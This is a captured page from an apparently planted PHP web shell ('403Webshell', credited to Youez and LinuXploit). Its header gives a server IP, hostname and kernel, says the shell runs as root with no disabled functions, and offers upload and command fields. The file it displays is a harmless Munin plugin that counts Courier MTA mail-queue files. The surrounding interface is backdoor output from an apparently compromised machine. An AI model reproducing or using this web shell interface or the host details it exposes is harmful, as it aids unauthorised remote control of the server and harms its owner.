403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/munin/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/munin/plugins/courier_mta_mailqueue
#!/bin/sh
# -*- sh -*-

: << =cut

=head1 NAME

courier_mta_mailqueue - Plugin to monitor courier-mta mail spool

=head1 CONFIGURATION

Configuration variables:

 spooldir - Where to find mails in queue

The default configuration is:

 [courier_mta_mailqueue]
  env.spooldir /var/lib/courier/msgq/

=head1 MAGIC MARKERS

 #%# family=auto
 #%# capabilities=autoconf

=head1 BUGS

None known

=head1 AUTHOR

Rune Nordbøe Skillingstad <runesk@linpro.no>

=head1 LICENSE

Unknown

=cut

# Can be set via environment, but default is /var/lib/courier/msgq/
SPOOLDIR=${spooldir:-/var/lib/courier/msgq/}

case $1 in
    autoconf|detect)
	if [ -d "$SPOOLDIR/" ] && [ -r "$SPOOLDIR/" ] ; then
	    echo yes
	    exit 0
        else
	    echo "no (spooldir not found)"
	    exit 0
        fi;;
    config)
	cat <<'EOF'
graph_title Courier MTA mailqueue
graph_vlabel Mails in queue
graph_args --base 1000 -l 0
mails.label mails
mails.draw AREA
EOF
	exit 0;;
esac

cd "$SPOOLDIR" >/dev/null 2>/dev/null || {
     echo "# Cannot cd to $SPOOLDIR"
     exit 1
}

cat <<EOF
mails.value $(find . -type f | wc -l | sed 's/ *//')
EOF

Youez - 2016 - github.com/yon3zu
LinuXploit